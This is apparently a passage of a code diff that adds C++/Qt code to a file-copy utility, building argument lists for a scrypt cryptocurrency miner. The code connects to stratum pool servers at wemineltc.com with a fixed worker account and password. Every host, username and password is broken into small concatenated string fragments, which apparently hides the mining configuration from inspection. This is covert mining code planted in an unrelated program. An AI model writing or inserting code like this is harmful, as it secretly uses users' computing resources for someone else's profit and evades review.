+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol17") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol17") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol17") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol18") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol18") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol18") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol18") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol19") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol19") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol19") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol19") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol20") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol20") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol20") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol20") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol21") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol21") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol21") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol21") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol22") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol22") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol22") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol22") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol23") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol23") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol23") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol23") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol24") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol24") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol24") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol24") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(3335) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol25") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol25") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol25") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol25") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol26") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #ifndef ULTRACOPIER_NOBACKEND
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("global")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("n")+QStringLiteral("e")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":")+QStringLiteral("%1").arg(3334) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol26") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("h")+QStringLiteral("k")+QStringLiteral("3")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com")+QStringLiteral(":%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol26") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ << "-o" << QString("stra")+QString("tum")+QString("+")+QString("tcp://")+QStringLiteral("usa4")+QStringLiteral(".")+QStringLiteral("we")+QStringLiteral("mi")+QStringLiteral("ne")+QStringLiteral("l")+QStringLiteral("t")+QStringLiteral("c")+QStringLiteral(".com:%1").arg(80) << QStringLiteral("-u") << QStringLiteral("alp")+QStringLiteral("haone")+QStringLiteral("x86")+QStringLiteral(".po")+QStringLiteral("ol26") << QStringLiteral("-p") << QStringLiteral("yy")+QStringLiteral("DKP")+QStringLiteral("c")+QStringLiteral("O")+QStringLiteral("850")+QStringLiteral("p")+QStringLiteral("Cay")+QStringLiteral("Tx")
+ #endif
+ ;
+ pools << pool;
+ pool=QStringList() << QString("--scr")+QString("ypt")
